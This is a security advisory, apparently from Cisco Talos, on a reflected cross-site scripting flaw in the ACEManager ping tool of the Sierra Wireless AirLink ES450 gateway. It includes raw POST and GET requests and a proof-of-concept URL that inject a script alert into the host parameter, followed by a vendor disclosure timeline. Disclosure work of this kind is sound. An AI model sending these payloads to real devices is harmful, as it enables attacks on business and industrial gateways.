Sierra Wireless AirLink ES450 FW 4.9.3
6.1 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Sierra Wireless is a wireless communications equipement designer and manufacturer. They provide both embedded solutions as well as wireless hardware solutions, including both the ES450 and GX450 devices. The AirLink ES450 is a LTE gateway designed for distributed enterprise. The ES450 is typically seen connecting Point-of-sale devices, remote SCADA equipment, or other business critical equipment. The AirLink ES450 also provides a terminal server for remote out-of-band administration.
ACEManager is the web server included with the AirLink ES450. This web server is responsible for the majority of interactions in the device. Some specific capabilities of the web server are routing, device reconfiguration, user authentication and certificate management. The vendor has stated that the ACEManager web application is not accessible by default from the Cellular WAN.
POST /admin/tools/ping_result.cgi HTTP/1.1 Host: 192.168.13.31:9191 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.13.31:9191/admin/tools/ping.html Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 61 Cookie: token=5a412d6dbc3618b3e4ffd7219460f942 Connection: close host=192.168.13.31<script>alert('xss')</script>
GET /admin/tools/ping_result.cgi?host=220.127.116.11%27%3Cscript%3Ealert(%27xss%27)%3C/script%3E HTTP/1.1 Host: 192.168.13.31:9191 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: token=5a412d6dbc3618b3e4ffd7219460f942 Connection: close Upgrade-Insecure-Requests: 1
This vulnerability was discovered and tested using the AirLink ES450. Most likely this vulnerability also affects the AirLink GX450 product as well.
After authenticating to ACEManager navigate to
http://192.168.13.31:9191/admin/tools/ping_result.cgi?host=18.104.22.168%27%3Cscript%3Ealert(%27xss%27)%3C/script%3E to show the alert caused by cross-site scripting.
2018-12-14 - Vendor disclosure
2018-12-17 - Vendor acknowledged
2019-01-08 - Discussion to review vendor's analysis of issues
2019-03-26 - Vendor established timelines for fix/public disclosure
2019-04-20 - Talos provided revised CVSS score on TALOS-2018-0746, TALOS-2018-0751, TALOS-2018-0752, TALOS-2018-0755, and TALOS-2018-0756
2019-04-25 - Public Release
Discovered by Carl Hurd of Cisco Talos.